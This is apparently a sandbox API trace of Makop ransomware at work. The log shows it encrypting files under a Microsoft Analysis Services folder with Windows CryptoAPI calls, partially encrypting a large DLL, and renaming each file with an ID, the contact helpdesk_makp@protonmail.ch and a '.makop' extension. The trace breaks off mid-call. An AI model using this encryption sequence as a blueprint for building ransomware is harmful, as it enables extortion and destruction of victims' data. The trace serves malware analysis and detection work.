[0105.065] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0105.065] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.065] GetProcessHeap () returned 0x48a0000 [0105.065] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0105.065] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0105.065] CryptDestroyKey (hKey=0x48c7168) returned 1 [0105.066] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0105.066] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0105.066] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0105.066] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0105.066] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0105.066] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0105.067] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0105.067] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.067] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.067] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7d92, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x7d92, lpOverlapped=0x0) returned 1 [0105.069] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x7da0, dwBufLen=0x7da0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x7da0) returned 1 [0105.069] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.069] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7da0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x7da0, lpOverlapped=0x0) returned 1 [0105.070] CryptDestroyKey (hKey=0x48c7168) returned 1 [0105.070] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x7e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.070] SetEndOfFile (hFile=0x138) returned 1 [0105.078] GetProcessHeap () returned 0x48a0000 [0105.078] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0105.078] GetProcessHeap () returned 0x48a0000 [0105.081] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.081] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0105.081] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.083] CloseHandle (hObject=0x138) returned 1 [0105.083] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0105.083] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0105.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0105.083] GetProcessHeap () returned 0x48a0000 [0105.084] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.084] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.084] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0105.084] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x5, lpOverlapped=0x0) returned 1 [0105.088] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0105.088] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.088] GetProcessHeap () returned 0x48a0000 [0105.089] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0105.089] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0105.089] CryptDestroyKey (hKey=0x48c7168) returned 1 [0105.089] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0105.089] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0105.089] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0105.089] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0105.089] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0105.090] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0105.090] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0105.090] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.090] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.090] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9a5b, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x9a5b, lpOverlapped=0x0) returned 1 [0105.092] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x9a60, dwBufLen=0x9a60 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x9a60) returned 1 [0105.092] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.093] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9a60, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x9a60, lpOverlapped=0x0) returned 1 [0105.093] CryptDestroyKey (hKey=0x48c7168) returned 1 [0105.093] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x9b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.093] SetEndOfFile (hFile=0x138) returned 1 [0105.100] GetProcessHeap () returned 0x48a0000 [0105.100] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0105.100] GetProcessHeap () returned 0x48a0000 [0105.101] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.101] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0105.101] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.102] CloseHandle (hObject=0x138) returned 1 [0105.102] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0105.102] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0105.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0105.105] GetProcessHeap () returned 0x48a0000 [0105.105] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.105] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.105] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0105.105] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x2, lpOverlapped=0x0) returned 1 [0105.109] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0105.109] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.109] GetProcessHeap () returned 0x48a0000 [0105.109] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0105.109] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0105.109] CryptDestroyKey (hKey=0x48c7168) returned 1 [0105.110] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0105.110] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0105.110] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0105.110] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0105.111] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0105.111] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0105.111] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0105.111] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.111] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.111] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x745e, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x745e, lpOverlapped=0x0) returned 1 [0105.113] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x7460, dwBufLen=0x7460 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x7460) returned 1 [0105.113] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.114] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x7460, lpOverlapped=0x0) returned 1 [0105.114] CryptDestroyKey (hKey=0x48c7168) returned 1 [0105.114] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x7524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.114] SetEndOfFile (hFile=0x138) returned 1 [0105.121] GetProcessHeap () returned 0x48a0000 [0105.121] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0105.121] GetProcessHeap () returned 0x48a0000 [0105.121] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.121] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 125 [0105.122] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.123] CloseHandle (hObject=0x138) returned 1 [0105.123] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0 [0105.123] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0105.123] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0105.123] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll") returned 70 [0105.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0105.124] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x6577ab8 | out: lpFileSize=0x6577ab8*=44457320) returned 1 [0105.124] GetProcessHeap () returned 0x48a0000 [0105.124] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.124] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.124] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.124] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa4*=0x8, lpOverlapped=0x0) returned 1 [0105.131] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0105.131] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.131] GetProcessHeap () returned 0x48a0000 [0105.131] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.131] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a88*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a88*=0x40) returned 1 [0105.131] CryptDestroyKey (hKey=0x48c7128) returned 1 [0105.131] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa4*=0x40, lpOverlapped=0x0) returned 1 [0105.131] WriteFile (in: hFile=0xf0, lpBuffer=0x6577aac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577aac*, lpNumberOfBytesWritten=0x6577aa4*=0x4, lpOverlapped=0x0) returned 1 [0105.131] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa4*=0x10, lpOverlapped=0x0) returned 1 [0105.132] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa4*=0x80, lpOverlapped=0x0) returned 1 [0105.132] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0105.132] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa4*=0x8, lpOverlapped=0x0) returned 1 [0105.132] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0105.132] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.132] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0105.132] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0105.143] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0105.151] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.151] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0105.153] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2a65e44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.153] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0105.154] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe21f22, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0105.154] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0105.166] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0105.168] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe21f22, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.168] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0105.171] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2a65e44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.171] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, 